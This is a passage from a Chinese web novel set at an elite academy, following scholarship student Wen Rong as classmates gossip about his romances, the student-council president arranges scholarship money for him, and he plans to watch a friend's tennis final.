“那不还是林启正带坏你的,他要是不强制你刷蓝书……” “噗嗤。” 张锦程愣了下,也低头笑,“总之都是林启正的错。” 温绒咬唇一边憋笑一边点头,两个人默默把锅甩在倒霉的林启正身上。 时间要来不及了,温绒跟张锦程道别,从病房离开。 进电梯时,手机一响,竟让是张锦程来了消息。 [别为了学长去拼命。] [要珍惜自己的命,你死了学长们都会很难过。] 温绒举着手机仔细看这两句话,缓慢地离开医务楼- 与此同时,黒鸽论坛 《报!男神从医务楼出来后闷闷不乐,谁又惹他不开心了?》 [靠,绝对是因为早上有人占了他在图书馆常坐的位置。] [怪不得早上我过去没看见他,校友们能不能自觉点,把我男神的专属座位让出来?] [早上那都多久之前的事了,他从医务楼出来才不开心的,难道是张锦程的状况不好?] [我有个亲戚是骨科大佬,要不我把亲戚的联系方式给张锦程?] [快给,不然我男神一整天都要不开心了。] 温绒心情不好吗? 时野刚好奇这个问题,温绒正好走进教室。 一时间教室里人人严正以待,时野甚至听到椅子挪动,后桌有个人踢旁边人,低声喊“你坐那边去,留个空”。 呵 他冷笑一声,举起手,骄傲地扬起下巴,宣誓自己“朋友”的身份。 温绒没抬头看。 “咳,温绒,这儿。” 温绒如梦初醒,视线逡巡一圈,最后终于看向他。 “你心情不好?” 问出声时,时野的嗓子都在颤抖,隐隐含着骄傲和得意。 庶朋友也是朋友,比旁边这些排不上名的亲近不知道多少倍。 “我不怕死的。” “什么死?” 时野差点跳起来。 不是,张锦程给你说了什么东西,你都考虑到死了。 “但我现在又怕了。” “……” 行行行,怕死就好,怕死就不会死。 “我要是死了,张锦程学长会难过。” 顿了下,“林启正学长跟张麟学长可能也会。” 时野虽然被“怕死”这个离谱的话题说得一愣一愣的,但本能地接口,“我也会难过。” 温绒微微偏头,眼睫在灯光下拉出百叶窗似的影子。 时野在这样淡然的目光中差点控制不住情绪。 艹! 我难过不重要吗? “我真的会难过。” “看到别人死是什么感觉?” 两道声音一同响起,时野蓦然一惊。 温绒意识到什么,连忙改口,“对不起,我没有其他意思。我只是突然好奇别人看到我死了会是什么感觉。” 时野不知道温绒怎么会想这么奇怪的问题,不过温绒看起来真的很想知道答案。 又恰好,他是见证过死亡的人。 “我想,一开始并没什么感觉。” “你刚刚还说你会难过。” “着急什么,我不难过你很生气吗?” “……” 温绒动了动嘴,没说出话,算是默认。 时野牵开嘴角,第一次因为回忆起自己妈妈而感到开心,“难过已经是很久以后的事情,在最开始的时候,其实没有太大的感觉。” “因为死的那瞬间很快,快到生命迅速逝去,脑子还意识不到对方已经死了。” “是很快。”温绒点头赞同,垂下眼皮似乎在思考。 时野继续说:“其实身体也意识不到。” “因为人死后还有一些温度,这种温度会让活着的人产生幻觉,比如还能摸到心跳,感觉到呼吸,甚至幻听。” “等尸体凉了,接下来就会经历一个非常漫长的过程,比起更难过,更像是失落。” “像是在电视上看到一个特别特别喜欢的角色,你把所有的情绪都倾注在他身上,但他永远不可能出现在你面前,陪你吃饭,跟你聊天。” 临近上课时间点,教室里陆续进入更多学生。 索性不是那间阶梯教室,座位有余。时野微弓起背,将身体靠近温绒,同时将声音压低,把秘密锁在两人之间。 “人是趋利避害的动物,失落久了身体会选择遗忘来自我保护。” “我不想忘记你,如果你死了,我跟你一起死。” 温绒浑身猛然一震,耳边吹过一热风。 “温绒,我真的很喜欢你。” 轻轻的声音像田野上飞过的虫子,密密麻麻地覆盖身体。 温绒打着颤偏向声音的方向,脑门蹭过尖尖的东西。 热流瀑布一样流下来,眼皮似乎擦到什么柔软温热的东西。 “嘶——”旁边有人发出倒吸一口气的声音。 “靠,时野亲我男神的眼睛。” 温绒吓得连忙向后靠,手被蓦然包进一团火热的掌心。 “我打决赛的时候,你来现场好不好。” 扑通 扑通 扑通 好热。 “好不好。” “可是我……” “我求你。” “……” “那场比赛对我很重要,我想有朋友陪在身边。” 温绒大脑发涨,胡乱询问:“莱昂学长呢。” “他去不了。听说有一项技术突破了,他研究的东西能用上,最近都在忙。” “那……周谢?” “我叫上林启正他们一起。” “你让他们去吧,我就不去了。” “我想让你去才叫上的他们,你不去还有什么意义。” “我真的……” “为什么不去。” “你能不能别拉着我,我不喜欢在这么多人面前这样。” 时野仓促松手,温绒手背上迅速出现一条分明的线,一截红,一截白。 时野意识到自己刚才过于用力,连忙道歉,“对不起。” “没事,搓一搓就好了。”温绒搓了搓手背,果然就没那么明显了,随即道,“我真的去不了,还没发奖学金,我买不起机票。” “……” “而且去的话还要找地方住,买吃的,总之要花好多钱,我暂时没有那么多钱。” “你比赛的时候会上电视吗?我在电视前给你加油可不可以。” “……” 时野扶额苦笑,叫上林启正都不去,他都开始胡乱猜温绒为了莱昂跟自己避嫌,没想到竟然是因为没钱。 我叫你去,我能让你付钱吗?! 刚准备爽快说一声“我包了”,恰恰看见温绒平静的脸,好像只是在陈诉事实,并没有哭穷。 见识过莱昂的心机,时野一点也不想被比下去,于是反常地慎重思考,才问:“如果你有钱了就会去吗?” 认真的问题得到温绒认真的思考,并点头,“我以后有钱就去支持你。” “一言为定。” “嗯……你去哪?” 时野课都不上,从另一侧离开座位,径直走出教室。 上课时间,学生会大楼里没几个人,自然也没有提前通报的人。 时野大大咧咧推开会长办公室的大门时,李奥正在跟周谢汇报。 “目前论坛热议的话题是时野跟温绒在教室里公开接吻,还准备一起出去约会。” 周谢冷笑,继续念论坛里的回复,“时野不愿意支付约会费用,让温绒以后有钱了包养他?” 李奥本来就觉得这个话题离谱,拍的照片更是马赛克加马赛克硬要把两颗头模糊成黏在一起,但时野一进门,那张看起来不好惹的脸上竟然露出打架获胜的笑容,还抬手摸了下唇,像是……得意。 得意什么?莱昂又不在这里。 “什么事。”周谢把手上的文件放下,眼睛斜过去。 时野:“这次温绒在校庆上为学校挽回口碑,还推动改革,是不是该给他发奖金。” 周谢:“你以为学校是你家公司?” “找个理由发吧,我出钱。温绒现在手里头就只有两万不到的生活费,我怕他饿死。” 周谢又定了下,“两万?” 惯常冷静的人声音忍不住拔高,想来是对“两万”这个数字感到非常诧异。 “发2亿吧。”时野背手关门,肆无忌惮地畅想,“他选专业的时候说过要找个好找工作的专业,给他2亿,以后就不用找工作了。” 周谢:“……” 李奥:“……” “要不20亿?不仅不用找工作,还能随便花。有没有那种持续性奖金的说法,我以后每年给他20亿。” 周谢抿唇沉默片刻后,对李奥做了个“挥”的手势。 李奥会意,抬起手拦在时野面前,蓄意把他推出办公室。 时野专业运动员的宿主不是开玩笑的,李奥很努力,但他不动如山,还往周谢的方向走两步,“我是认真的。” 李奥:“不要发癫,你谈恋爱就谈恋爱,没人关心你对象有没有钱生活。” “而且……你们小情侣能不能注意点,全校都是你们play的一环吗?竟然在教室公开接吻?” “命中注定要亲一下,拦不住。”时野脸上笑容更甚,摸着嘴偷笑,“我们小情侣——” 周谢冷声打断,“温绒没跟他谈。” 时野反驳,“怎么没——” 周谢再次打断,“你敢在温绒面前这么说吗?” 当然是,不敢。 时野撇嘴,“我单方面跟他谈不行吗?” 李奥无语,“莱昂要是听到,绝对把你光屁股在地上乱爬的照片发给温绒看。” “艹!”时野被踩中痛脚,怒道,“公平竞争,他敢搞这种小动作我就把他看色情片的事给温绒说。” “去酒店那天,温绒没跟莱昂在房间看片吗?” 李奥话音刚落,“啪”地一声,周谢弯下腰捡地上的笔。 时野注意力被吸引片刻,很快收回眼神全力反驳李奥,“我问过温绒,没看!你别造谣。” “绝对看过。莱昂平时什么样私下什么样你不清楚吗?” 李奥用自己优秀的逻辑思维继续推导,“不是上次就是上上次,莱昂房间里全是那种东西,出来吃饭的时候他一直很淡定,说明他早就知道莱昂好那口。” 时野:“……” 周谢:“……” “……” “……” 办公室内陷入可怕的沉默。 一起长大的,彼此都了解彼此的性子。 莱昂从小就跟他妈去研究基地过清汤寡水的日子,压抑久了,回来就大鱼大肉。 莱昂压着三人看过那些片,大概率也压着温绒看过。 “艹!”时野猛一下冲出办公室,像是要去找莱昂算账。 关上门的瞬间,李奥松了口气,暗叹总算把这尊大佛送走。 然而一回头,发现自己表哥站在桌子后面沉思,视线落在电脑屏幕上。 黒鸽论坛,有人放出清晰版照片。 温绒跟时野并排坐在教室里的照片,脸靠得极近,两张轮廓分明的脸几乎没有缝隙。 “表哥。” 周谢悠悠转头,“我记得每年最佳社团会得到一笔奖学金。” 李奥不知道怎么会突然提到奖学金,不过这是事实,于是点头,“嗯,有50万。” “下个月要重组新社团,但这个学期有的老社团表现不错,按道理来说应该拿奖学金。” 李奥明白自家表哥的意思了,“我现在给校长写申请。” “可以不用满额给,你写20……写30万,交上去后校长会减一减这个数字。” 周谢思考两秒,又说:“还是写50万。你写好报告先给我,我来跟亲自校长说。” “好的。” “校长减一点,应该可以有40万。四个人分,在学校吃住的话,10万应该能坚持到明年奖学金发放。” 账算得这么明白,这笔钱的去处很明显。 李奥想,经过校庆那么一闹,表哥是真的完全同意莱昂的观点了。 李奥:“万一他学期结束没得奖学金怎么办。” “那就照时野的要求,他出2亿,以学生会的名义给。” 好一个借花献佛的计划! 第83章 第 83 章 我喜欢什么 李奥按照自家表哥的要求草拟了申请, 为了增加成功率,还找了好些例子做成新文件,给表哥备用。 然而表哥跟校长打完电话回来表情却不怎么好。 猜测被校长回绝了, 李奥安慰道,“可以再想想其他方式,比如让时野自己搞一个网球社社内最佳新人评选之。” 说着说着,起了坏心思,憋着笑建议,“搞个选美比赛也行,温绒准能赢。” “校长答应了。” “那就好……等——校长答应选美比赛?!” 周谢压着下巴阴森森望着张锦程, “我说的是奖学金。” 李奥闪躲,“那我准备一下。” “但他让我尽快安排三年前退学的特招生入学。” 划开Pad的动作一顿,“被赵泽阳逼退学的那个。” “嗯。” 这个人原本没在李奥的脑子里留下什么深刻印象, 但赵泽阳被退学时校方联系到他询问赔偿,那人表示想重新回到弗罗里曼学院就读。 李奥都觉得不明不对劲,他表哥就更觉得了。 恰好时竞吵着要入学, 他表哥就跟拿时竞挡了那人回到弗罗里曼学院的事。 没想到校长会突然让那人入学。 “有点奇怪。” “校长觉得温绒不可控,想找个替代他的人。” 是了!是这个原因。 相同的身份, 相似的入校原因,从表面来看,确实可以替代温绒。 “而且他还改了奖学金的归属。” “原话是说新社团也要起步,让这次奖学金由社团经费的形式发放更能让所有人满意。” “老社团的成果怎么可能由新社团继承。” “奖学金发放在新社团成立之前, 不想把成果让给别人,可以不去新社团。” 李奥:“……” 李奥忍不住问:“那新闻社怎么办。” “如果温绒聪明点,钱还是能进他的口袋。张锦程要保工作室,不会继续呆在新闻社,我最近收到张麟的建社申请, 他们打算做新软件,所以——” 李奥接口:“新闻社只剩下温绒一个人……” “但他是个蠢货,不会私吞这笔钱。” 李奥觉得不是钱的问题,是新闻社只剩下温绒一个人。 纵观温绒做的这些事,每一件都是别人获利,显然是为了别人做的,现在他帮的人都要离开新闻社,不用到以后李奥都能猜到温绒的心情。 李奥带着侥幸心理问:“其他人想加入新闻社吗?” “我没有收到申请。” “……” “现在所有人都在自组项目等着学校的支持,没有人会单单为了一个温绒放弃前途。就算是时野那种傻子,也不可能丢掉网球社。” 李奥明了。 “所以要想把这笔钱直接放到温绒手里,还有一种更直接的方法。” “他应该会很难过吧。” “……” 周谢闭上嘴。 大概意识到自己正在鸡同鸭讲,所以思考半秒,岔开话题,“你查一下三年前退学的特招生……叫林竞航,别查错了,我想知道从退学后三年到现在他接触过哪些人。” 李奥恍恍惚惚,“好的。” 墙上时钟一格一格绕着圈跳,天暗下来,远处传来下课铃声。 同一时间,周谢蓦然起身,“你继续弄,我出去一趟。” 被时野改装过的老爷车还保留着原始的外貌,内里几乎全部换个遍,周谢开着并不算熟悉的车到教学楼附近的小路上。 没什么人会路过,也没有车。 他摸出手机,以学生会会长的权限直接给温绒发消息: [定位] [来这里,有事情跟你谈。] 消息发完,周谢手有些抖,不得不点支烟把情绪稳下来。 他想,他已经有应激反应了,只要想到“温绒”这两个字,就会预感到自己会被气死,情绪波动得厉害。 一支烟到头,旁边终于响起“砰砰”两声。 烟蒂在两指间上下一晃,吧嗒落在手背上。 周谢甩了甩被烫到的手,偏头——保安打扮的年轻男人举着手电筒往车里照。 周谢摇下车窗,“什么事。” 他的脸还算“人尽皆知”,保安连忙把手电筒放下,“不好意思不好意思,我是接到学生的报警才过来的,不知道是您。” “报警?” “有学生说这里停了不明车辆,为了防止再出事故,我来看看情况。” “是个长得很好看的学生吗?” “嗯嗯。” “我知道了,我跟他联系一下,你去忙吧。” 保安举着手电筒走了,背影并不清晰,只有一束光明亮显眼。 周谢才反应过来天已经彻底黑尽,手机屏幕像个小型灯泡,刺眼。 “噗嗤。” 这个封闭的小车里,响起一声哼笑。 这样小小的麻烦跟之前那些操作一样让他头疼,可身体却莫名分泌多巴胺,产生种很有趣的感觉。 ——不省心的玩意。 周谢点开温绒的对话框,编辑文字: [只是想跟你谈社团的事。] 两秒后,手机作响。 [好的。] 砰砰。 周谢这次终于看见车外消瘦的轮廓。 他再次摇下车窗,看见外面只有温绒一个人,下巴点点副驾驶,“上车。” 温绒犹豫着问:“需要说很久吗?” “嗯。” 周谢看他不太乐意,敲敲方向盘,意味深长道,“你也可以不上来。” ——冷死你。 “那我站在这里吧。” “……” 恰好一阵风吹过来。 深冬的冷风跟针一样刺进骨头,温绒脖子缩进领子里,牙齿打架,“你找我有什么事。” 周谢长话短说,“让你进学生会。” “啊?” “让你……邀请你进入学生会。” 温绒匆忙摇头,“不用不用,谢谢。” 竟然拒绝? 周谢意外地挑眉,“社团招新的时候你说过想进学生会。” “谢谢你,我……我觉得学生会很好,但我想留在新闻社。” “……” 周谢知道,要想劝温绒进学生会,该告诉他新闻社即将只剩下他一个。 但周谢没那种习惯。 他不喜欢干扰别人的决定,即使那是错的。 或许更坏一点,他喜欢看着人走进陷阱。 “还、还有其他事吗?” 周谢看他冷得开始小碎步热身,心情好了点,再次用下巴点点副驾驶,“上车,我送你回宿舍。” “不用不用,我要去图书馆。” “送你去图书馆。” “不用不用。” “随你。” 周谢发动车子,“让一下。” “哦哦。”温绒迅速后退,意识到什么,又从绕半圈,站到人行道上去。 ——冷死你。 周谢望着后视镜发抖的身影,默默诅咒。 车又开出去两米,后视镜里的人侧了下身,弓背,打了个喷嚏。 冷死在这里,前面做的事全白费。 周谢踩下刹车,解开安全带开门下车。 隔着老爷车凸出的车顶,他望向温绒,解释自己的行为:“让你上车,因为车上暖和,好谈事。” 温绒瞪着大眼睛傻傻地望回他。 周谢眼眸上瞥,继续解释:“社团有变动,一两句话说不清楚。” 温绒这才一步一挪地拉开后车门,小心坐上来。 但没有靠近中间,身体贴着门,保持着随时可以下车的姿势。 周谢冷声问:“要不要给你把刀,抵着我的脖子能让你更有安全感。” “不用不用。” “……” 回答“不用”而不是直接被吓到,说明他现在就是出于没有安全感的状态。 按周谢对自己的了解,他其实该满足于这种“威慑别人”的快乐,但现在他只想抽支烟冷静。 风吹得头冷,周谢回到车里,把空调开大,随口讲点缓和气氛的话,“吃饭了吗?” “吃过了。” 很好,下课给他发的消息,他去食堂吃了饭才来,还是先让保安探的路。 周谢换个方向继续缓和气氛,“时野没跟你一起吗?” “他一下课就被教练叫走了。” “最近见到莱昂了吗?” “莱昂学长好像很忙。” “校庆第二天他被直升飞机带去研究基地,要联系他只能用研究基地的内线电话。” 温绒瞪大眼睛,看起来注意力已经彻底从“不安全”转移到莱昂身上。 周谢继续说:“因为直升飞机的调用和学生的外出需要学生会协调,所以学生会可以打研究基地的内线电话。” “好厉害。” “我的意思是,你进学生会就可以在莱昂去研究基地的时候跟他联系。” “不用不用,研究基地应该很忙,我就不打扰学长了。” “……” “……” 周谢第一次替莱昂感到哭笑不得。 追大半天,追了跟木头。 他放弃缓和气氛,单刀直入:“你知道林启正跟张麟在私下准备新项目吗?” “我知道呀,林启正学长跟我说过。”温绒骤然紧张,“你不会又驳回他们的项目吧。” “……” 他看起来像那种不分青红皂给人找不痛快的人吗? 周谢手摸进口袋,“介意我抽烟吗?” “可以不抽吗,我不想闻二手烟。” “…………” 周谢把烟摸出来叼在嘴上,用力深吸一口。 他的身体现在处于奇怪的状态,又暴躁又想笑,大脑发涨,临近缺氧。 滴滴滴滴 无声的指针随着时间跳动,一秒钟拉得无限长。 周谢把烟掉个头,唇贴着烟丝的位置,在烟草味里汲取缓和情绪的东西。 抬眼间,借着微弱灯光发现温绒坐在后座一动不敢动,手用力捏着膝盖,骨节纤细,绷紧得像拉开的弓。 站在讲台上的时候好像都没这么紧张。 周谢的情绪意外平复了。 他扬起下巴,居高临下睥着温绒,“他俩会成立新的社团,张锦程要继续用工作室也必须成立新的社团,所以——以后新闻社只剩你了,明白吗。” 温绒紧张回答:“学长们都有想做的事了,这很好。” “我说的是你——”周谢转而直视他,“你想做什么。” “我……” “你不知道。” 周谢替他说完,又说:“你这种人我见过很多。从小到大什么都没见过,不知天高地厚是你最不起眼的缺陷,你最大的问题是对自己认知不够,对社会的了解也不够,选的专业都是过去十八年里唯一接触到的那些语文数学化学物理……读完书出来不是当老师就是当医生,要么当律师,最后在忙碌的工作里逐渐变成一个平庸的人,简称:选错路。” 温绒没体会到他话里的暗示,在字面意思上反驳,“我数学很好,许秋老师都叫我第三学期去她那边。” “你喜欢莱昂的生活吗?在深山老林里日复一日搞研究,断网断社交。” “……” “你的性格也不适合那种生活。” “我的性格?”温绒一愣,“你怎么知道我的性格不适合。” “我说一句你反驳一句,你对我的偏见是不是太大了。” 温绒心虚低头。 周谢都不知道自己跟一个对自己有偏见的人说这么多干嘛。 怪不得好多人私下喊温绒反骨仔,真是不省心的玩意,就连当面聊天也让人应激。 周谢在心里回想莱昂说过的话,强迫自己冷静地给温绒解释,“依照你在学校这表现,去研究基地大概率每天都是跟领导对着干。那边基本是军事化管理,你动嘴皮子改变不了任何事。” “是弗罗里曼学院有问题我才——” 周谢打断他,“每个地方都是弗罗里曼学院,没有区别。” “……” “所以重新考虑一下你的性格到底适不适合搞科研,你想做什么,把这些弄清楚再告诉我你要不要来学生会。” 温绒犹疑,周谢继续说:“只有一次机会,慎重。” “……” 把车开往图书馆,到门口停下时,周谢看见温绒还在想,于是不择手段地补充一句:“学校即将给第一学期表现优异的社团发40万奖学金。这笔钱说是给社团,其实是给你准备的。你要是继续留在新闻社,那这40万就是新闻社的社团资金,以后每一笔支出都要过学生会财务,但你要是离开,新闻社没人了,40万就可以直接分掉,你们社团四个人一人10万。” …… 如周谢所说,通知当晚就发到每个人的手机上。 新社团重组后将会安排一次旧社投票,选出第一学期最优秀的社团发放40万奖学金,此次成绩跟第三学期新社团投票成绩汇总,计入学年成绩。 温绒躺在床上,心情复杂。 你的性格到底适不适合搞科研。 你想做什么。 好简单的两个问题,温绒竟然是第一次去思考。 “哥哥。”温绒轻轻喊系统。 【嗯。】 “你觉得我是什么样的人?” 【怎么突然这么问。】 “因为周谢说我不适合去研究基地。他说得我好像是个坏学生,专门跟别人对着干。” 【……】也没说错啊。 “但我一直觉得自己挺听话的。” 【……】 【宿主,你有勇敢无畏的反抗精神。】 温绒一愣,嘴巴微微张开,“原来我真的是个坏学生。” 竟然听懂了言外之意?! 系统给自己找补:【也不算吧,你只是坚持正义。】 又连忙岔开话题:【你觉得自己是什么样的人?】 因为没有想过这个问题,要努力思考下,在过去记忆里寻找事例,才能判断出自己是什么样的人。 “有点招人讨厌。”因为周谢跟时野似乎都爱在自己面前发脾气,也惹过张麟学长生气。 “幼稚、无知。”因为之前做计划的时候总会有很多纰漏。 “脑袋空空,都不知道自己想做什么。” “没有擅长的东西。” 【宿主数学不是很好吗?那算擅长。】 “可是我数学很好……是因为别人都说我数学好,数学成绩也好。” 【这就是数学好呀。】 温绒闭上嘴沉默了几秒,翻了个身,把脸埋进枕头里,“对不起,我说错了。不是没有擅长的东西,是没有喜欢的东西。” “我现在努力想一想才发现,我好像……也没那么喜欢数学。” 【为什么?!】这跟你刚绑定的时候完全不一样! “想到数学的时候,没有开心。” 顿了下,“但我想到去100室见到学长们,跟学长们出去团建,我就很开心。” 又思考了几秒,温绒猛然坐起,“是因为我想跟学长们联系,我喜欢跟他们联系,我喜欢他们。” 【每个人都喜欢跟自己的朋友在一起,这是本能。不过这种珍视友谊的行为跟我们讨论的喜欢不是一个东西。】 【我想周谢问的更倾向于喜好,比如时野,他喜欢打网球,比如张锦程,他喜欢设计,宿主有什么喜欢做的事吗?】 “……” 系统发现自己问也是白问,宿主每天就是学习吃饭去100室,哪有什么喜欢做的事。 更严格来讲,甚至连基本的欲望都没有,早中晚吃重复的东西,卡里两万块除了必要支出以外什么都没买过。 系统猛然反应过来,自家宿主的生活竟如此枯燥无聊! 【不行,宿主,你好不容易重新活一次,要学会享受生活。】 温绒奇怪道,“我现在过得很好算享受生活吗?一个人住大房子,吃喝不愁,还有朋友。” 【享受生活是指品味生活中的美好瞬间,一天过得比一天好,去体验自己没体验过的事情。】 “有一点……难以理解。” 【宿主还记得第一次穿校服的时候吗?宿主在镜子前看了好久,很开心对不对。】 温绒用力点头。 【那瞬间宿主肯定在享受生活了。】 【还有那天论坛上很多人喊你男神,你很开心,那也算。】 “原来如此。” 温绒的语言无法形容出具体内容,但心里感受到了系统所说的“享受生活”。 这样仔细回忆起来,过去有很多瞬间都是值得好好享受的。 站在讲台上的时候,跟时野拥抱的时候,跟学长拥抱的时候…… 第二天大早,五点,温绒睁开眼睛。 早上要跟时野打网球,所以第一件事享受打网球。 温绒爬起来,摸手机正打算问时野现在去哪个网球场练习,手机里跳出昨晚时野发来的消息。 [运动员协会临时通知赛前体检,我去比赛了。] [决赛的时候一定要来看,你答应我的。] 温绒:…… 他记得他答应的是有钱了再去。 不过时野好像真的很想他去看比赛,温绒能从文字里想象到时野打下这段话时的神态。 一定很激动,很着急。 温绒忍不住提嘴角,询问系统,“哥哥,去看朋友的决赛算享受生活吗?” 【算。】 “应该要坐飞机。”温绒的声音拔高,内心的激动全数涌出:“我还没有坐过飞机,是不是该体验一下。” 【那就一定要去试试了。】 温绒给时野回了个“好”,起身拉开窗帘。 哗啦—— 眼前骤然一亮,好像被刺了似的。 天跟弗罗里曼学院融为一体,成为一张白茫茫的画布。 窗上落下来一条一条白色的丝带,多到数不清,温绒都有在被“覆盖住了”的感觉。 下雪了。 以前在福利院的时候他很怕下雪,因为路上总会积起好高的一层冰,踩来踩去,白雪变成污泥,踩下去,运气好只是鞋子湿,运气不好摔一跤,一整天都像是泡在泥里似的,又冷又黏。 而且下雪的时候很冷很冷,冷到温绒甚至开始害怕睡觉。 温绒后知后觉,“哥哥,屋子里好暖和。” 【天刚冷的时候宿舍里就开始集中供暖了。】 “嗯。” 温绒知道学校供暖的事,但不知道为什么,他好像没有特地注意过,忘了享受暖烘烘的感觉。 也没有特地注意过雪景竟然这么美。 咔擦 温绒摸出手机对着窗外拍一张照片。 随即发到新闻社的群里:[下雪啦!] 想了想,又发给时野:[你刚走学校就下雪了,是不是很漂亮。] 发给莱昂:[学长,我这边下雪了,我第一次看雪,超级漂亮。] 发给蒋稚月:[今天雪超级大。] 发给梁子力学:[学长,雪很大,注意多穿衣服。] 在他的联系人里,还有一个冷冰冰的头像。 温绒犹豫了几秒,也给周谢发消息:[雪景超级漂亮,性格很差的我现在也变得暖烘烘了。] 第84章 第 84 章 他已经在温绒身上下注 五点还是太早了, 消息发出去后都没有立马得到回应。 温绒洗漱完毕,收拾东西准备出门时,手机“滋”一下, 终于收到回复。 周谢:[第一次看雪?] 温绒想了想,诚实回答:[第一次看到这么好看的雪景。] [穷人意识不到好看的风景,恭喜你暂时跨越了阶级。]? 温绒的好心情瞬间统统消失。 不想跟周谢说话。 雪还在下,他把手机收进兜里后撑开伞,踩上蓬蓬的白色地面。 学校统一定制的皮鞋鞋底是块动物皮,为了好看做得极薄,阻隔不了雪的温度, 缓慢地走不多会儿就变成快快地跳。 一望无际的白色上,留下一列走向食堂的脚印。 端了碗面坐到位置上,手机里陆续收到消息。 时野:[我这里是晴天][图片] 时野:[训练好无聊。] 时野:[你能不能早点来, 这里没有朋友,我只能一个人打网球。] 时野:[等会儿我又要被收手机了,没回复就是正在浴血奋战。] 林启正:[好大的雪, 去年都没这么大吧。] 张麟:[图片] 张麟:[在楼下团了雪人,漂亮吧。] 温绒抿唇微笑, 正打算回复“漂亮”,群里出现新的消息。 林启正:[老幺,今天不用去100室,我跟张麟都要忙项目的事。] 温绒:[嗯嗯, 加油!] 温绒下课后直接去的图书馆。意外的是,没有社团活动,他的学习进度并没有变快。 窗外飘雪,树上积起厚厚的一层白。 温绒猜,可能是因为第一次这样仔细看雪, 所以就不再专注于书本上的东西。 他放纵了。 可私心还是想继续放纵。 断断续续地看雪看了三天。 雪融化的那天特别冷,雪变成冰,温绒走在路上都不敢看手机。 吧唧。 皮鞋踩在冰上,差点摔一跤。 他像个蹒跚学步的“鸭子”,晃着身体缓慢前行。 等到终于进入有空调的教学楼,喧嚣跟热气一起扑面而来。 “看比赛了吗,时野好像比去年更厉害了。” “对谁都是碾压,要不是旁边写着职业网球公开赛,我都要以为他在虐小学生。” “赵泽阳这次表现也不错,退学后应该集训了。” “废话,他都被退学了,要是比赛再拿不到好成绩,基本废了。” “我听说他找去年的亚军练了很久,大概就想决赛打败时野。” “说不定真的可以赢时野。他这次运气好,去的保送组,根本遇不到难打的对手,大概要决赛才会跟时野碰上。” 不止学校里所有人都在关注时野的比赛,蓝书上也热火朝天。 蓝书的主页图标都变成了网球,所有小装饰也是用的荧光绿,似乎很努力地通过屏幕,将网球公开赛的氛围带给每一个人。 温绒随便点开一个热搜都能看到时野的名字。确定决赛时间地点后,搜索订酒店和订机票的攻略,开始往手机里下载软件。 【宿主,这个时间定不了票了。】 “啊?” 温绒把手机放下,“那我晚上再订。” 【我的意思是,网球赛太火爆,现在去决赛城市的飞机票应该卖光了,酒店大概率也全部定满。】 “那火车票呢。” 【一样。】 【而且决赛的门票很早之前就售罄了。】 温绒吞咽唾液,大脑缓慢运作,最后意识到自己好像犯了错。 他第一次参加这样盛大的活动,都不知道提前订票。 “我没想到会这样。” “哥哥,怎么办,我都答应时野了。” 系统想说你可以用积分兑换,但想到宿主连活下去的积分都不够,现在每一分都很珍贵,肯定不能用。 于是建议道,【要不给时野说明一下情况,不去了吧。】 可是…… 原来确实因为没钱不准备去,而现在决定去了却发现不能去,心里痒痒,有些难以接受。 温绒挠挠头,陷入进退两难的境地。 大概是想得太出神,面前骤然一暗,撞上个东西。 他倒退两步,迅速扶住墙稳住身形,抬眼看清面前的人——黑框眼镜下沉着双黑黝黝的眼睛,带着冷意,与颇具骨感的脸组在一起,比骷髅还要吓人。 靠这么近,他还发现周谢的眼珠子像是浮在下眼睑上似的,叫人害怕。 温绒道歉,“对不起,我不是故意的。” “我是故意的。” “啊?” 周谢眯起眼睛,“你不够敏锐。对周围发生的事一无所知,如果遇到突发状况就没办法及时反应。” 温绒说不出话。 最近周谢在他生活里的出镜率很高,而且各种行为跟以前很不一样。 唯一相同的,就是总让他摸不着头脑。 “我跟了你一路你都没发现,如果我拿刀捅你,你就死了。” “一定要用刀捅死我吗。” “我只是打个比方。” 温绒:“你说你跟了我一路,有什么事情找我吗?” 周谢:“你在想什么?” “我没——” 周谢斩钉截铁打断他,“建议直接回答。” “我不想再遇到校庆那天的事,人的忍耐是有极限的。” “极限”两个人咬得极重,温绒不禁打个哆嗦,老实回答:“我只是在想怎么买机票。” “没买过机票?” “没……” 温绒又连忙解释,“不是不会买机票,我刚才看过攻略,我会操作。只是……我想去看时野的决赛,网上已经买不到票了。” “你去看时野的决赛还要自己买票?” “不、不可以吗?” “时野没给你安排?” “没呀。” 答完,看见周谢的表情变得古怪,温绒又补充,“我去看他的比赛,为什么要他给我安排?” 周谢沉默了片刻,转个身,“你跟我过来。” 温绒其实不太想跟,但周谢表情很凶,带着莫名的威慑力,心里有个声音告诉他:不听话的话下场会很惨。 目前没有什么原则上的分歧,还是听话吧。 两人路过七八间教室,拐个弯上楼,在上一层左手边的一间教室门口停下。 里面全都是陌生面孔。 而且教室里面很安静,似乎没有人在乎网球公开赛。 周谢背对着他突然发问:“你知道权力是什么吗?” 温绒摇头,又想到他、背对自己,于是开口:“不知道。” “不用耗脑子想弯弯绕绕的计谋,只需要开口,就把问题解决。” 温绒展示出刚学习知识时的“懵懂”,乖乖站直听讲。 但周谢不讲了,往里走,“跟我进来。” 温绒不敢动,“不、不用了吧。” “进来。” 温绒硬着头皮走进教室。 一时间,教室里所有人像训练有素的士兵,迅速停下手里的动作望过来。 周谢淡定走到讲台上,第一时间没有开口,而是伸手整理讲桌,让讲桌完全对齐台阶。 随后发话:“过来。” 温绒走过去,站到他旁边。 “告诉他们你刚刚在烦恼什么。” “啊?” “说出来。” 温绒:“……” 校庆那天被镜头对着温绒都没如此紧张,现在被一群表情严肃坐姿端正的人望着,压力巨大。 “有什么事吗?”人群里,有人开口询问。 温绒望向周谢,正对上阴沉的眼睛,忙不迭收回眼,两只手紧紧贴着裤缝,一动不动。 他没回答,教室里所有人就一动不动,好像都在等着他似的。 温绒被盯得受不了了,视线飘向地面,遵照周谢的指示开口,“大家早上好,我想去看时野的决赛,但飞机票、决赛门票,酒店都订不到了,想问问大家可不可以帮我想一下办法。” 一口气说完,声音落下,众人脸上露出愣怔的表情,温绒立马开始心虚。 感觉自己像一个乞丐,站在街边向所有人伸出碗讨钱。 意外的是,教室里的人没有露出路人的厌恶表情,而是继续惊讶。 “就为这事?” “会长亲自带他进来,我还以为他要转来跟我们一起上课。” “果然论坛说的都是真的,温绒脚踏三条船。” “但是三条船是不是相处得太和谐了一点,会长干嘛要允许他去看时野决赛。” “不懂不懂,可能是情趣。” 细微又热烈的讨论声中,终于有人站起身,“我家那天包机去,你可以跟我一起。” 开了个头,立马有人跟上,“跟别人坐私人飞机不自在,我给你弄张头等舱的票。” 